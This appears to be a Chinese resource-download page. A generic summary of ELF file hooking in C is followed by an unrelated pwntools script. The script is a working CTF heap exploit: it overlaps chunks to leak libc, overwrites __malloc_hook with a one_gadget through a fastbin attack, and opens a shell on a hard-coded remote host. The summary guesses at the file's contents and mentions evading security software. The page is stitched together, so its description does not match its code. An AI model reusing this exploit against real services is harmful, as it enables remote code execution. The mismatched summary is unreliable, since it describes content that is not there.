C语言中 ELF文件的动态挂钩技术

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0 下载量 76 浏览量 更新于2024-10-09 收藏 6KB ZIP 举报
资源摘要信息: "在本文中,我们将详细探讨如何使用C语言对ELF(Executable and Linkable Format)文件进行程序化调试。ELF是Unix系统上常见的目标文件格式,广泛用于存储可执行文件、目标代码、共享库和核心转储等。了解如何操作ELF文件不仅可以帮助开发者更好地理解程序的结构和运行时的行为,还可以用于编写调试工具、安全分析以及性能优化。 首先,我们需要了解ELF文件的基本结构。ELF文件可以分为几个部分: ELF头(ELF Header)、程序头表(Program Header Table)、节头表(Section Header Table)和数据区域。ELF头位于文件的开始,用于定义文件的类型、字节序、文件版本等基本信息。程序头表描述了如何构建进程的内存映像,而节头表包含了节的列表,节是 ELF文件中用于存储各种类型信息的部分。 在使用C语言对ELF文件进行操作时,通常会用到一些专门的库,例如libelf。libelf是一个用于处理ELF文件的C库,它提供了许多方便的API来读取、修改和创建ELF文件。通过libelf,我们可以轻松地获取ELF文件的各类信息,例如节的名称、大小、类型、链接信息等。 程序化地调试ELF文件涉及到对文件结构的理解和对编程语言的熟练运用。如果我们的目的是挂钩ELF文件(hook ELF file),则需要进一步修改ELF文件的内容,可能是为了插入自定义的代码或修改现有的代码。这种挂钩技术在逆向工程、软件保护和动态分析等领域非常有用。 在实现ELF文件挂钩的过程中,我们可能需要关注以下几点: 1. 如何定位并读取ELF文件中的特定节或段(segment),比如代码段或数据段。 2. 如何在不影响文件其他部分的情况下修改节的内容。 3. 如何保持ELF文件格式的正确性,确保修改后的文件仍然可以被系统正确识别和执行。 4. 考虑到安全和隐蔽性,如何在不引起安全软件警觉的情况下进行挂钩。 5. 一旦完成修改,如何将修改后的数据正确地写回文件。 在处理ELF文件时,我们应当注意其结构和内容的复杂性。例如,某些特定的节可能包含重定位信息或符号信息,直接修改这些内容可能会影响程序的链接过程和运行时行为。因此,在进行程序化调试时,对ELF格式的深入理解是必不可少的。 本文件的标签"ELFfileformat elf slabsli9"指明了这个文件与ELF文件格式以及使用C语言进行操作和调试的紧密关联。"slabsli9"可能是某种特定的ELF文件或相关工具的名称,或是与本文件内容相关的专有名词或代码库。 在"elf_hook_with_c"这一文件的名称中,我们可以推测该文件内容聚焦于使用C语言实现对ELF文件的挂钩技术。这可能包含了一系列的C代码示例、API调用说明、以及可能的执行流程图或逻辑结构图,以指导开发者理解和实施ELF文件的程序化调试。 综上所述,本文深入探讨了ELF文件格式的基础知识、使用C语言进行程序化调试的技巧、以及挂钩ELF文件所需的技术细节。通过这些内容,开发者可以更好地理解和掌握ELF文件的操作,为编写高级调试工具、进行代码逆向工程或实现程序安全分析打下坚实的基础。"

import os from pwn import * context(log_level='debug',os='linux',arch='amd64') # p = process('./1') p = remote("59.110.164.72",10027) #p = process(['/home/lin/tools/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./1'], env = {'LD_PRELOAD' : './libc-2.23.so'}) elf=ELF('./1') libc=ELF('./libc-2.23.so') def menu(choice):     p.sendlineafter(b"Your choice :",str(choice)) menu(1) def create(size,com):     menu(1)     # menu(1)     p.sendlineafter(b"Damage of skill : ",str(size))     p.sendlineafter(b"introduction of skill:",com) def edit_1(idx,size):     menu(2)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"Damage of skill : ",str(size)) def edit_intro(idx,com):     menu(3)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"introduction of skill : ",com) def show(idx):     menu(4)     p.sendlineafter(b"Index :",str(idx)) def delete(idx):     menu(5)     p.sendlineafter(b"Index :",str(idx)) create(0x38,b'a'*0x38) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) # gdb.attach(p) delete(3) edit_intro(0,b"b"*0x38+b"\xb1") delete(1) create(0x40,b"") show(1) p.recvuntil("Introduction : ") libc_base = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0x3c4c0a print (hex(libc_base)) malloc_hook = libc_base + libc.symbols['__malloc_hook']-0x23 print (hex(malloc_hook)) one = [0x45226,0x4527a,0xf03a4,0xf1247] one_gadget = libc_base + one[3] print (hex(one_gadget)) edit_intro(1,p64(0)*3+p64(0x71)+p64(malloc_hook)) delete(0) delete(1) create(0x68,b"d"*8) # gdb.attach(p,"b *0x400cda") # pause() create(0x68,b"a"*19+p64(one_gadget)) menu(6) menu(2) ## get_shell p.interactive()

2023-06-01 上传